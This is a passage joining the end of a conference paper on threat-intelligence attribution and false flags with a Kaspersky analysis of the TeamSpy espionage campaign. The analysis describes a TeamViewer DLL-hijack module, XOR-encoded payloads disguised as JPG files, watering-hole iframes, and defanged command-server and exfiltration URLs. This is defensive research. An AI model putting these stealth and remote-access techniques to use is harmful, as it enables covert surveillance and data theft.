On the off-chance that a given vendors products prove dubious or inconsequential for a single-source consumer, this can lead to an erosion of trust in threat intelligence as a whole.
The one-eyed man is king The very nature of threat intelligence results from a fascinating injection of third-party observers into the dynamic between an attacker and victim, often by chance.
This serendipitous 14 Discussed as a validation crisis likely to arise in threat intelligence [29].
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 9VIRUS BULLETIN CONFERENCE OCTOBER 2016 interplay may be the result of a contractual placement of defence solutions in the victims network, the maintenance of service infrastructure (as in the case of ISPs and webmail, cloud or storage providers), or by stumbling upon attack artifacts found on multi-scanners, staging servers, or through their foolishly wide distribution, in the case of hamfi sted attackers.
The implicit takeaway is that the position of the threat intelligence producer will shape the nature of the research by virtue of limited visibility.
All possible producers inevitably suffer from varying degrees of limited visibility.
This often means that two different similarly positioned companies possess different incomplete parts of the same operation, that endpoint security companies see payloads with no network traffi c, that ISPs see network traffi c and victimology but no payloads, and so on.
To then claim perfect awareness over a given campaign will prove short-sighted folly, given that little deters the same actors from continuing their efforts, often retooling and targeting the same victims.
Failures become apparent as alternate reports contain vaguely overlapping IOCs that showcase the incompleteness of a single-source report and extended campaigns against a given victim may abuse previously unseen attacker capabilities possibly witnessed by other vendors.
Analyst training An often ignored facet of the threat intelligence production cycle is the role of the analyst whose purpose is to coalesce various sources of information, arrive at various conclusions, and vet the overall logic of the fi nished product.
Sadly, at this stage in the rise of the threat intelligence industry, defi cient hiring practices overemphasize specialized technical knowledge and eschew generalist broad-thinking capabilities, often assuming technical candidates will bring these in tow.
This is seldom the case, as showcased by talented malware reverse engineers who dont consider themselves threat hunters, as well as by outlets promulgating technical malware breakdowns who fail to identify the connection of these artifacts with larger campaigns.
Threat intelligence analysts often suffer from defi cient training in conventional intelligence analysis.
Industry forums and conferences are heavily populated with trainings and ample resources aimed at fostering skills such as reverse engineering and threat hunting that are essential to the production process, but among these little is exclusively aimed at fostering the broad-thinking methodologies necessary to turn technical indicators and victimology into a reliable estimative and actionable consumable product.
Many military and intelligence metaphors and models are suggested at this stage but these are still reliant on the ability of the analyst to weigh different possibilities and scenarios, keeping excitement for a given theory at bay, and allowing for accurate estimative language to make its way to the fi nal recipient.
In simpler terms, its necessary to state that a hunch is a hunch, that some conclusions are sparsely sourced or cannot be independently arrived at, or that no conclusion can be made at this time.
There exist a handful of exemplary threat intelligence veterans whose familiarity with previous operations allows them to express high accuracy intuitions that speak to the provenance of targeted attacks the remainder of us mere mortals must be able to follow the logical foundations of a theory to arrive at an accurate action plan that can independently be sustained by the consuming IT and IR teams.
METHODOLOGICAL COMPLICATIONS Scope Even among seasoned threat intelligence producers, signifi cant disagreements arise.
Investigating a targeted attack is a largely hermeneutic endeavour as researchers interpret sparse fragments and indicators to understand the means, capabilities and (hopefully) the intentions of the attackers.
A common pitfall arises from a lack of consensus on whether a given threat actor is defi ned by a shared toolkit, overlapping infrastructure, or similarities of tasking.
The disagreement is most visible in disparate naming schemes across vendors, an issue that isnt as superfi cial as picking a shared name when differences in visibility are coupled with one vendors insistence to categorize an actor by their shared use of a given lateral movement tool while another vendor focuses on a cluster of phishing infrastructure.
The issue extends beyond mere preference to refl ect a heterogeneous understanding of the scope and intended functionality of threat intelligence products.
Functionality Further complications arise when considering the variable intended functionality of threat intelligence products.
Is the intended purpose PR value, enterprise defence, or cyber situational awareness?
Each of these is a legitimate purpose but not all are equally served by the same product.
We touched upon the complications that arise with seeking PR value, which tends to require audacious attribution claims that stand in confl icting opposition to the alternatives mentioned.
A product intended to support an audacious claim particularly through wide and loud distribution will cripple its own actionable value as it spooks the attacker.
The likely reaction is also a general retooling that cripples any prolonged awareness or ability to track a known determined malicious actor.
On the other hand, defending an enterprise network gains little from country-level attribution claims.
By its very nature, the institution is endowed with little latitude to retaliate against a nation state no matter what the injustice of a cyber-espionage or sabotage campaign.
Defending the enterprise requires campaign-level understanding that includes an awareness of infection vectors, toolkits, and attacker standard practices.
Loosening the grip of a specifi c campaign will then allow the victim enterprise to switch to tracking the threat actor or related actor cluster in preparation for the future attempts that will almost certainly come.
Finally, in the case of the larger project of cyber situational awareness, there are requirements that sometimes stand in juxtaposition to both the media imperatives and the defence of any particular entity.
With the most cunning and resilient actors, tracking may well require an infection not to be cleared immediately, so as not to spook the actor being hunted.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 10 VIRUS BULLETIN CONFERENCE OCTOBER 2016 Understanding that some threat actors are so cunning and well resourced that playing network whack-a-mole is unlikely to deter them in the least, researchers stand to benefi t from quiet observation and the deployment of radical tailored defence solutions rather than the simple disinfection of a given machine.
Though this approach may be shocking to those critics who consider the single role of anti-malware to be that of machine disinfection, it is important to consider the heavy weaponry commanded by actors of this calibre.
Exemplary god mode- style zero-day exploits are a concern for an entire software ecosystem and not just a single victim.
In turn, these require a large-scale immune response, beginning with the discovery and understanding of the technique leveraged, propelled in priority by its abuse in the wild, and only then postulated for resolution by the software behemoths that support the relevant codebase.
The role of the anti-malware industry here extends beyond simple metrics and immediate customer obligations to that of defenders of the larger ecosystems in the face of unscrupulous actors.
Given an understanding of how the intended audience shapes the research imperative and thereby the consumable product, there is a need for research teams to defi ne their intended audience during the production cycle itself and not after.
REFLECTIONS Threat intelligence has true value beyond the current hype of an emerging pocket in the information security industry.
As showcased by the multiple examples presented of abuse in the wild, there is a need for professionals whose job it is to understand the apex predators in the malware ecosystem.
In juxtaposition to IT and IR teams whose overlapping responsibilities in responding to attacks are sometimes considered capable of obviating the need for TI, the latter is the sole producer of the historical context that helps mitigate the attackers potential ability to manipulate responders into chasing down ghosts, by virtue of familiarity and a broad- thinking methodology.
In place of a summary conclusion, we instead leave open questions in need of deeper refl ection, on the part of both producers and consumers of threat intelligence, to serve as our fi nal takeaways in furthering a much needed conversation.
What is solid attribution?
Considering the common bases for attribution, limitations in visibility specifi c to each research camp, and requirements specifi c to each type of customer, what could possibly make a satisfactory attribution claim?
We must ask ourselves if there can even be such a thing.
In a hypothetical scenario where we have packets captured en route (as in the common jab PCAP or GTFO), could it not be a backdoored system being used to proxy through?
Where we catch a nation-state operator red-handed, would we not need an understanding of the provenance of their tasking?
More realistically, there will never be a solid enough attribution claim for everyone to get behind.
Rather, the combination of multiple indicators helps an analyst make an educated determination of the trustworthiness or accuracy of a claim.
This further highlights the importance of estimative language that allows others to make strategic decisions based on preferably unbiased facts with the analysts opinion as a guide.
What is actually needed?
A more sobering metric for attribution claims rests in understanding the action capability of the intended recipient.
What can a single non-governmental entity do with the name of a nation-state operator?
How does it bolster its defensive stance against further attack to be told which Chinese citizen to peg on its dartboard?
On the other hand, a government (whose recourse includes diplomatic, legal, and even retributory CNO) stands to benefi t from the greatest possible level of fi delity in attribution.
The question what do you actually need?
has to be answered in relation to who are you meant to be serving?.
The guiding principle remains the production of actionable intelligence and not the feeding of cyber-voyeurism and grandstanding.
Who can really do attribution?
The attribution limitations do not apply to all producers equally.
If a PCAP is considered the ultimate measure of attack fi delity, then what entity is more supremely positioned to perform attribution than the modern SIGINT agencies?
These gods of the wires are positioned in such a way as to enact near perfect recall when an attack is discovered, either by snooping on the wires or having popped the routers in a country of interest.
In true Greek irony, the Cassandras of the modern age are hamstrung by their own Apollonian curse: as intelligence agencies they are blessed with the ability to see but not to publicly substantiate, the gift to attribute without being believed.
Who are you hacking back?
Finally, for anyone holding out hope that anything like cyber-retribution can ever legitimately enter the stage for private entities, we hope to have provided enough reason for ample skepticism.
In a world where solid attribution claims in the private sector are unlikely, how does one go about hacking back?
Moreover, with cunning attackers manipulating victims into casting blame towards an unrelated entity, whos to blame when misattribution leads to a retributory attack on another blameless victim?
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The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns Kaspersky Lab Global Research and Analysis Team (GReAT) Version 1.02 - 20 March 2013 Introduction For at least several years, a mysterious threat actor infiltrated and tracked, performed surveillance and stole data from governmental organisations, some private companies and human rights activists throughout the Commonwealth of Independent States (CIS) and Eastern European nations.
Some parts of this operation extended into Western nations and the Middle East as well, with victims in sectors such as energy and heavy industry manufacturing.
The attackers performed their intelligence gathering and surveillance partly using TeamViewer (http://www.teamviewer.com/en/index.aspx), a legitimate support software package commonly used for remote administration.
In addition, they deployed custom written intelligence gathering components and lateral movement utilities.
We are calling this threat actor the TeamSpy crew because of their preference for using the legal software TeamViewer as a main part of their toolset.
So, Team What?
TeamSpy.
This covert cross-nation, cyber surveillance data theft and monitoring operation may not have recruited technical wizards for their team.
But the use of legitimate, signed software packages in addition to custom made software, along with various dll path hijack tricks, allowed the threat actor to conduct effective operations targeting hundreds of victims, including high level/high value individuals.
According to its web site, TeamViewer is a All-In-One Software for Remote Support and Online Meetings.
It is free for private use and is installed by more than 100,000,000 users spread over more than 200 countries.
TeamViewer has versions available for Windows, Mac OS X, Linux, iPhone or Android, making it a very flexible remote administration tool.
http://www.teamviewer.com/en/index.aspx The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The TeamViewer web site Compared to Poison Ivy and other Remote Access Tools (RATs) that have been in the news for years, TeamViewer has an advantage which makes it attractive to cybercriminals: is comes signed, adding to its seeming legitimacy.
In addition to TeamViewer, the TeamSpy operations are supplemented by a variety of custom-built surveillance modules.
Instead of maintaining all operations with the TeamViewer RAT, the team developed their own reconnaissance and stealth modules.
These provide TeamSpy attackers with the following functionality: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Module name Purpose Bi Detailed operating system and BIOS information collection Keylogger, sc_and_console Keylogging and screenshot capture GetIOSData Attached device history collection via iTunes SystemInfoSafe Alert-avoiding system information collection FileList2 Local file information listing based on attackers interests NetscanFiles2 Remote shares file listing Hunts secret content, secret/private crypto keys, passwords NetScanShares2 List available network shares and network accessible servers/domains.
SystemInfo General system and user account information collection Avicap32 Extend TeamViewer remote control functionality to ensure stealth and persistence, self defense from automated and manual analysis and discovery, maintain communications and updates with attackers command-and-control One interesting fingerprint of this operation is the inclusion of custom, hand-drawn icons in some of the attack tools.
Examples include: It seems that at least at heart, one of the TeamSpy crew members dreams of being a graphic artist.
Or maybe they tried to send security researchers a hidden message?
Observations about the TeamSpy Toolset - No find glue file The toolset demonstrates clever, although lazy choices about legitimate software and certificate abuse, along with a minimal but effective effort at using simple and crude custom encryption algorithms.
Weve analyzed in depth two command and control servers used by the attackers but we are aware of several others used in the campaign.
The two servers we analyzed are politnews.org and bannetwork.org.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 On the command and control servers, the attackers maintain tools and modules, some obfuscated and named as JPG files.
The .JPG files maintain hidden executable codes, and are simply encoded with a rolling XOR encryption using the same key across all of the components: 0x0e0f101112.
There are quite a few traces left by the attackers, which normally can give you hints about attakers profile.
For example, a keylogger tool used a system event called __klgskot__.
While klg stands for keylogger, skot is a Russian word meaning livestock.
There are many more Russian language traces in this malware toolkit.
The version of Teamviewer server which is used as a part of malware bundle is Russian localized.
It at least includes TeamViewer_Resource_ru.dll file which has a set of Russian strings used by the application.
A couple of other modules, while searching for files on the hard drive, looked for those containing pass, secret, and Russian equivalents and .
In addition to Russian, there was a Georgian equivalent of secret, but written in the Latin alphabet: saidumlo.
In the recent Red October report, our research noted liberal use of Cyrillic characters throughout code and files...Another noteworthy fact is in the first line of this file, which is a command to switch the codepage of an infected system to 1251.
This is required to address files and directories that contain Cyrillic characters in their names.
Here is a screenshot demonstrating the system codepage switch in a malicious batch file: Usage of CP1251 in Red October Just like Red October, TeamSpy components maintain the same sort of language switch to Cyrillic throughout code and files.
Here, we note that an entire TeamSpy SQLite databases strings used to house stolen victim data, located on one of the major C2, is specified to default to the Cyrillic character set.
http://www.securelist.com/en/analysis/204792262/Red_October_Diplomatic_Cyber_Attacks_Investigation4 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Tables within the database are explicitly configured to use the Cyrillic character set.
Here is the log table, filled with victim check-in records: The statistic table, along with all of the others, are explicitly Cyrillic: Also, some specifics come from CC domain names, such as bulbanews.org and kartopla.org.
The words bulba and kartopla are written in Latin-Belarusian and Latin-Ukrainian, both words mean a potato.
Interestingly, among ex-USSR countries, Belarusians are jokingly called bulbashi which means potato people due to the popularity of this vegetable in local agriculture.
One of the modules we found, called footer has LANG_RUSSIAN property set in the resource section of the executable.
Also, one of the database tables discovered at a CC server contained some text in Russian written with latin alphabet: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 A rough translation of the highlighted strings from Russian to English: Obshie manevri.
Ispolzovat tolko s razreshenija S-a General maneuvers.
Use only after approval of S-a.
vkluchenie oomask switching oomask on Ispolzovanie bilda ...
Using build ...
The same CC we analyzed had a full FTP access log with source IP that uploaded malicious modules in 2012 (some of them were already removed from the server, but the names and sizes remained in the log file).
This log file also shows intensive usage of Russian language in the file names: The filenames include which is translated as ready to spread, meaning Protocol checks.
The most amusing part of this log is crypted_bulba which is translated as encrypted potato.
Everyone is familiar with baked potato or mashed potato, however this is our first touch with encrypted potato.
The SystemInfoSave module lists all files in the Program Files folder which are newer than the hard-coded date: 22 November 1963.
The date is clearly an Easter Egg, with several important incidents linked this specific date: US President John F. Kennedy is assassinated in Dallas.
Aldous Huxley, the author of Brave New World and many other titles, dies.
CS Lewis, the author of Chronicles of Narnia and many other titles, dies.
Maintaining Teamwork and Infrastructure Our investigation of the teams infrastructure centers around two domains used for command-and-control: politnews.org and bannetwork.org.
But clearly, the strategy guiding this team is to pull off multiple watering hole attacks, and sometimes pollute ad networks, inefficiently blanketing the region they are most interested in with malvertizing and redirections to their malicious sites.
These two servers have been heavily used over years of attack campaigns, with more recent servers receiving tens if not hundreds of hits in the past week.
politnews.org was originally registered on the June 18th, 2004 by one Zacepenko Ilia Igorevich at OnlineNIC Inc: Zacepenko Ilia Igorevich 9th square, 10-1,1 NI Larne, GB 127591 politnewsmail.ru The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 bannetwork.org was originally registered on September 2nd, 2004 by one Dmitryi Ivastov at OnlineNIC Inc as well: Dmitryi Ivastov Mira street, 1a Moscow, RU 103555 bannetworkmail.ru We believe that these are fictional identities and used only to register these individual domains.
The two servers resided at several hosts over the past decade, but from 2010, both domains were maintained at Russian provider Host Telecom.
(
known malicious IP for bannetwork.org: 89.188.104.7).
For the most part, these systems maintain identical toolsets, structure, software and accounts.
Both of these systems hosted an FTP server and an Apache HTTP web server, along with the same user accounts for running each.
The HTTP servers were used to serve job.txt, which maintained a set of system commands for agents checking in, among other files described below.
Interestingly, other files included html pages and exploits related to the well-known exploit kit Eleonore Exploit Pack, created and maintained by Exmanoize.
Also, one of the server scripts to collect infection success statistics mentions the Eleonore exploit kit by name: And one of the more recent, current sites, checkmeil.com, is serving both malicious java and pdf files.
Of course, just like Eleonore started serving couple of years ago, it defaults to deliver a malicious JAR file first, prior to other exploits potentially sent to the victim system.
https://threatpost.com/en_us/blogs/anatomy-eleonore-exploit-kit-060310 https://threatpost.com/en_us/blogs/anatomy-eleonore-exploit-kit-060310 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The 2012 version of door.jar (CVE-2012-0507) exploit is blocked proactively by our AEP functionality at runtime and detected by Kaspersky products as HEUR:Exploit.
Java.
CVE-2012-0507.gen.
A malicious PDF is served if the Java Runtime is not present on the system.
Our products detect this particular malicious file as Exploit.JS.Pdfka.gbf.
Most of the TeamSpy servers are using a free, Russian open source tool named ReaderRssPhp 1.0.
This is a set of PHP scripts designed to read and display RSS feeds on your site.
Most likely, the attackers planned their attacks well in advance and built a set of web sites using these scripts to provide news aggregation channels serving content at least somewhat relevant to their target victims favorite web sites.
Over the past years, the attackers added exploit packs like Eleonore on their news aggregation sites.
Then, the attackers injected iframes into carefully selected web sites frequently visited by their target victims.
The iframes redirect these target visitors (and some extras) to their previously-prepared malicious sites.
For instance, redirections from konflikt.ru to the attackers bannetwork.org started in October 2005.
In February 2006, users were redirected from daymohk.org to bannetwork.org, followed by www.turkmenistan.gov.tm and chechentimes.net in March.
The list of infected watering hole sites continued to grow from there.
http://www.newsrss.ru/readerrssphp/index.php The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Attacks from the bannetwork.org site appear to have been related to the following links by at least February 2010: bannetwork(dot)org/5058/spl/ bannetwork(dot)org/5058/spl/inc/function.php bannetwork(dot)org/5058/spl/ms-041.jpg bannetwork(dot)org/5058/spl/vx_2c.exe bannetwork(dot)org/5058/spl/new-ms-041.jpg Based on the server access stats, we were able to put together a thorough list of web sites which appear to have acted as referrers to the exploit packs.
Since the early infections, it appears that they have been compromised and redirecting visitors on and off until recently: daymohk.org chechenpress.info daymohk.chechenpress.org chechentimes.net caucasuslive.org kauna-talu.com.ua timorseada.org mediaf.org ichkeria.info kavkazanhaamash.com rusedina.org konflikt.ru forum.ladoshki.com shaheeds.org hghltd.yandex.com turkmenistan.gov.tm Victim Checkins and Volume The command-and-control servers maintain a database of victims with their associated TeamViewer IDs and passwords.
These can be seen in the C2 online interface which lists the IP, last access time and the user status: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The attacker can then connect to any of the online IPs using the known login/pass combination and silently spy on the victims.
Command Server Directory Structure and Contents The command and control servers we analyzed maintain the same /public_html file contents.
MD5 filename purpose 0926bf7a4623d72311e43b16d667ae1a DSC.exe Malware dropper 3299885cf257d6482ee0f2132585e9c6 TeamViewer.ico TeamViewer installer eab5e4d1bff2b132f6dd21f2cf9bb7a0 bi.jpg Encrypted, see Bi Tool, Appendix A 38e00a13ebeb5959d89fe81e82866896 [removed for security reasons] List online and offline victims with TeamViewer access info 74fc74f8b21d9b43a423471889a103cc [removed for security Dump C2 statistics to a specific The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 reasons] file on the server Varies [removed for security reasons] Error log for the scripts 83a1634f660d22b990b0a82b1185de5b getiosdata.jpg Encrypted, see GetiOSData tool, Appendix A a1e237206869a46fc833f1c4ee209654 index.htm Main page - shows empty message d41d8cd98f00b204e9800998ecf8427e job.txt Leftover from unknown scripts e31423960c7057a40a7ebd4c017a5e8b klg.jpg Encrypted, see Keylogger tool, appendix A e165a2ac3aa6d072a0d89a47f99f05b3 sc_and_console.jpg Encrypted, see sc_and_console (screenshot and console) tool, appendix A 3f8d93a3b71c8b396e35cfca0a83af50 stat.php Used by infected clients to report to C2 856b130dc8002c3ecdce5fb43f23312f stat.txt Statistics created by stat_old.php 58e775ab85f180fd60269cad300e56d1 stat_old.php Old statistics script 43831cfe169810cf06bb430b860d2f3f under_construction.gif under construction icon 671a7fe2e0cc01ce07c5c6b80b92dfd6 user_offline.gif Icon for offline users 7b4ef82be7510173a6fabe79f74158bc user_online.gif Icon for online users The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 For logging infections and handling infected users, all C2 servers rely on a MySQL database to which all the scripts connect.
The username and password for the database connections are hardcoded in the C2 scripts, for instance: Several tables exist in the databases, named stat_TV, stat_TV_log, stat, stat2, stat5058, statistic.
These carry various information about the victims that connected to the C2 as well as unique data that allows the attackers to interact with them.
Lesser Used Spy Tools It seems that attackers outsourced much of their infiltration development work, utilizing exploit kits like Eleonore and others.
It is the upfront investment of vulnerability research and exploit development and expertise that are beyond the reach of many interested parties like TeamSpy that results in this outsourcing.
In addition to the commodity exploit packs, their sites are also known to spread the Ardamax keylogger, another cheap, commercially available surveillance package.
iexplore.exe (compiled Thu April 08 12:14:44 2010) MD5: 512c13c374cdaabb00bf98256872c813 Kaspersky name: Trojan-Spy.
Win32.Ardamax.dmn Sends stolen information to hxxp://www.politnews.org/dd_4.php, hxxp://www.bannetwork.org/dd_4.php iexplore.exe (compiled Thu March 04 17:44:44 2010) MD5: 76c33bf350ca7447730e8a37f2d93000 Kaspersky name: Trojan-Spy.
Win32.Ardamax.dkm Sends stolen information to hxxp://www.politnews.org/dd_4.php, hxxp://www.bannetwork.org/dd_4.php The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 iexplore.exe (compiled Tue Feb 08 06:58:58 2011) MD5: be612d16b07c59d22b47f9313c44437c Kaspersky name: Trojan-Spy.
Win32.Ardamax.mei Sends stolen information to: hxxp://www.politnews.org/dd_4.php, hxxp://www.news-top.org/dd_4.php Statistics and Victim Profiles Kaspersky Security Network is Kaspersky cloud security services.
It collects statistics on malware incidents from around the world.
The TeamSpy attacks have been recorded in several countries around the world, with the highest number of incidents being in Russia and Ukraine.
Heres a map of infections: Teamspy KSN detections (unique PCs) - March 2013 In addition to the KSN reports, we were able to extract a list of victims from two command and control servers databases.
These are available to anyone who knows the URL which serves these lists.
For bannetwork.org we have the following list of registered victims: Country Count RU 1433 82.78 TR 84 4.85 IR 37 2.14 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 SE 35 2.02 FR 31 1.79 US 20 1.16 KZ 17 0.98 BE 12 0.69 CH 11 0.64 For news-top.org, we have the following list of victims: Country Count TR 55 33.33 RU 37 22.42 IN 22 13.33 DE 15 9.09 US 13 7.88 SA 10 6.06 BE 5 3.03 ES 3 1.82 NO 3 1.82 GB 1 0.61 IR 1 0.61 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 In both cases, Russia and Turkey appear as top targets, with other countries such as India, Sweden, Iran or US following.
It should be noted that the statistics from the command and control servers include only the victims that were infected with the Teamviewer-based package.
The command servers have bigger logs which possibly include many other victims, although the nature of these is impossible to determine because the respective database tables are not handled anymore by the existing scripts.
For instance, the C2 at bannetwork.org has an extended log of supposed victims, spanning for two years, with the earliest entry from 23 Sep 2011 and the latest from March 2013.
Number of unique victims per month handled by the bannetwork.org C2 A peak can be observed on Jan 2012 - when the attackers infected a large amount of victims, 323.
In regards of victims profiles, in general, the IPs do not appear to hold useful information.
Some do belong to specific networks, however, its unclear if they are researchers or true victims.
A top of the ISPs for the victims at bannetwork.org include: ISP name Victims INGUSHELECTROSVYAZ 680 PARS ONLINE 17 TURK TELEKOMUNIKASYON ANONIM SIRKETI 15 AZADNET RESANEH 11 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 DYNAMIC IP POOL FOR BROADBAND CUSTOMERS 9 JSC KAZAKHTELECOM ALMATY AFFILIATE 9 DJIBOUTI TELECOM S.A. 8 JSC KAZAKHTELECOM PAVLODAR AFFILIATE 7 SCARTEL LTD.
7 FARHANG AZMA COMMUNICATIONS COMPANY LTD 6 KYIVSKI TELEKOMUNIKATSIYNI MEREZHI LLC 4 AKADO-STOLITSA JSC 2 ALLTELE ALLMANNA SVENSKA TELEFONAKTIEBOLAGET 2 ASIANET IS A CABLE ISP PROVIDING 2 Links with countlist.org and Alexander Sokolov We were able to identify several older samples which connect to the command and control domain countlist.org.
This domain appears to have been an active C2 between May 2010 - May 2011.
The Google safe diagnostic page for this domain points to an interesting blog: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 The domain master-sudtyaib.narod.ru appears to host a blog dedicated to freeing the Russian political activist Alexander Sokolov (for details: http://www.fidh.org/IMG//pdf/obs_report_russia_sokolov.pdf) .
The page does not appear to be malicious at the time of writing of this analysis, however, the file sokolov.html does have an injected iframe which points to another domain: The iframe points to countlist.org/xmps5060, which was no longer available when we tested it.
The domain countlist.org has been sinkholed by Kaspersky Lab for security reasons.
http://www.fidh.org/IMG/pdf/obs_report_russia_sokolov.pdf The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 countlist.org is connected with the other sites - in 2010, it served PDF exploits and a dropper that delivered the Ardamax keylogger, which reported monitored keystrokes back to both bannetwork.org and politnews.org: According to KSN data, countlist.org served multiple versions of malicious PDF exploits from these URLs: countlist(dot)org/5061/ countlist(dot)org/5062/ countlist(dot)org/5062/pdf.php countlist(dot)org/5062/pdf.php?splpdf_all countlist(dot)org/xmps5060/ countlist(dot)org/xmps5060/index.php countlist(dot)org/xmps5060/index.php?spl2 countlist(dot)org/xmps5060/index.php?spl3 countlist(dot)org/xmps5060/index.php?spl4 countlist(dot)org/xmps5060/pdf.php?splpdf_all countlist(dot)org/xmps5060/pdf.php?splpdf_ff countlist(dot)org/xmps5060/pdf.php?splpdf_op Below are details of the payload delivered by the PDF exploits: button.jpg (compiled Mon July 26 10:08:26 2010) Served from hxxp://countlist(dot)org/xmps5060/button.jpg in August 2010 MD5: c220a5ae869a1e3e9f5e997f8bf57e82 Using a set of embedded batch scripts, this dropper copies itself to c:\documents and settings\All Users\Application Data\iexplore.exe on the users system and attempts to add this path to the current users Run registry key for persistence.
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The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Appendix A.
Technical Details Malware MD5 list 83a1634f660d22b990b0a82b1185de5b cd56d04639dd395a035bc2a2e11f5d3d 6b3a74728f8683c0fa14a2675e5364c6 b3258020b9ab53a1635da844aed955ea f445d90fdd7ab950adabc79451e57e2a 696f408af42071fbf1c60e6e50b60e09 5f7a067f280ac0312abfbd9ee35cb522 72ec4047db89a70e5be7370a19bcd600 5c7bf0bb019b6c2dcd7de61f89a2de2e 341b430d96a06d9489fc49206a5b1cdd 0926bf7a4623d72311e43b16d667ae1a c220a5ae869a1e3e9f5e997f8bf57e82 Known C2s: Domain, IPs politnews.org, 89.188.104.7 bannetwork.org, 89.188.104.7 planetanews.org, 178.20.153.23 bulbanews.org, 46.164.129.74, 194.0.200.202 r2bnetwork.org (sinkholed by Kaspersky Lab) newslite.org, 95.211.216.148 kortopla.org (sinkholed by Kaspersky Lab) news-top.org, 93.190.45.115 countlist.org (sinkholed by Kaspersky Lab) checkmeil.com, 31.131.31.93, 204.251.15.175 IP: 89.188.104.7 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 C2 related information: bannetwork.org: Created On:02-Sep-2004 10:20:14 UTC OnlineNIC Inc. (R64-LROR) Dmitryi Ivastov Mira street, 1a Moscow, RU 103555 bannetworkmail.ru Website screenshot: politnews.org Created On:18-Jun-2004 09:01:13 UTC OnlineNIC Inc. Zacepenko Ilia Igorevich 9th square, 10-1,1 NI Larne city, GB 127591 politnewsmail.ru Website screenshot: mailto:bannetworkmail.ru mailto:politnewsmail.ru The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 planetanews.org Created On: 23-Mar-2012 08:52:26 UTC OnlineNIC Inc Krepov Bogdan Serafimovich g. Lugansk, Hersonskaya 52 Lugansk,UA 91000 krepovi.ua Website screenshot: bulbanews.org Created On: 05-Oct-2011 09:20:16 UTC OnlineNIC Inc. Krepov Bogdan Serafimovich g. Lugansk, Hersonskaya 52 Lugansk, UA 91000 krepovi.ua mailto:krepovi.ua The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Website screenshot: kortopla.org (SINKHOLED by Kaspersky Lab on 14 March 2013) Created On: 05-Oct-2011 08:10:16 UTC OnlineNIC Inc. Krepov Bogdan Serafimovich g. Lugansk, Hersonskaya 52 Lugansk, UA 91000 krepovi.ua r2bnetwork.org (SINKHOLED by Kaspersky Lab on 14 March 2013) Created On:01-Jan-2011 20:04:20 UTC Moniker Online Services LLC newslite.org Created On: 05-Mar-2010 14:43:01 UTC PrivacyProtect.org news-top.org Created On: 05-Mar-2010 14:43:01 UTC PrivacyProtect.org The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Website screenshot: countlist.org (SINKHOLED by Kaspersky Lab on 18 March 2013) Created On:18-May-2010 10:14:43 UTC eNom, Inc. Andrey Balabko ul.
Mezhevaya, dom 26, kv.
15 Registrant City:Kiev, UA 03164 Registrant Email:balabkoi.ua checkmeil.com ENOM, INC.
Created On: 2012-04-17 balabkoi.ua Andrey Balabko () Lugansk, Marksa 13-8 Lugansk, Luganskaya 91000 UA The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Website screenshot: Technical description of data theft modules and tools used by TeamSpy Crew Avicap32 Dll-hijacker Module Known variants: MD5 Compilation date Linker version Different on every system 2012.10.22 13:53:11 (GMT) 1.67 The file is a PE EXE file written in Assembler.
This file is a special Dll module that uses a vulnerability in TeamViewer v6 known as Dll-hijacking.
If this file is stored in the same folder as TeamViewer.exe, then when TeamViewer is started it will show no warning, no popups, no systray icons and will silently continue working providing remote access to the infected machine.
This module not only disables TeamViewer popups but also extends its functionality to the classical HTTP bot supporting a set of commands.
This module installed with Teamviewer 6 allows the attackers to access computer desktop remotely, activate webcam or microphone, download or upload files to the infected machine and many more.
DllMain The Module execution starts from the initialization procedure.
First, the code searches for tv.cfg file in local directory and then common system paths, such as C:\Windows, C:\Windows\System32.
The code uses non-standard way to pass some arguments to the called function.
This is most likely done to harden manual analysis or break automated analysis of the code.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns 20 March 2013 Non-standard push of the tv.cfg string offset to the stack If the tv.cfg file wasnt found the process exits.
If it was found, the module gets unique system ID, which is a hashed value of system drive Volume Serial Number.
To hash the Volume Serial Number two types of hash algorithms are used: custom SHL/SHR/OR-based algorithm and then MD5.
The result is stored in a hex-string which is used as a decryption key for the tv.cfg and part of the code in current file.
Alternatively a hash of 792 bytes of executable code from TeamViewer.exe is used for tv.cfg decryption.
After that the module decrypts tv.cfg using RC4 algorithm.
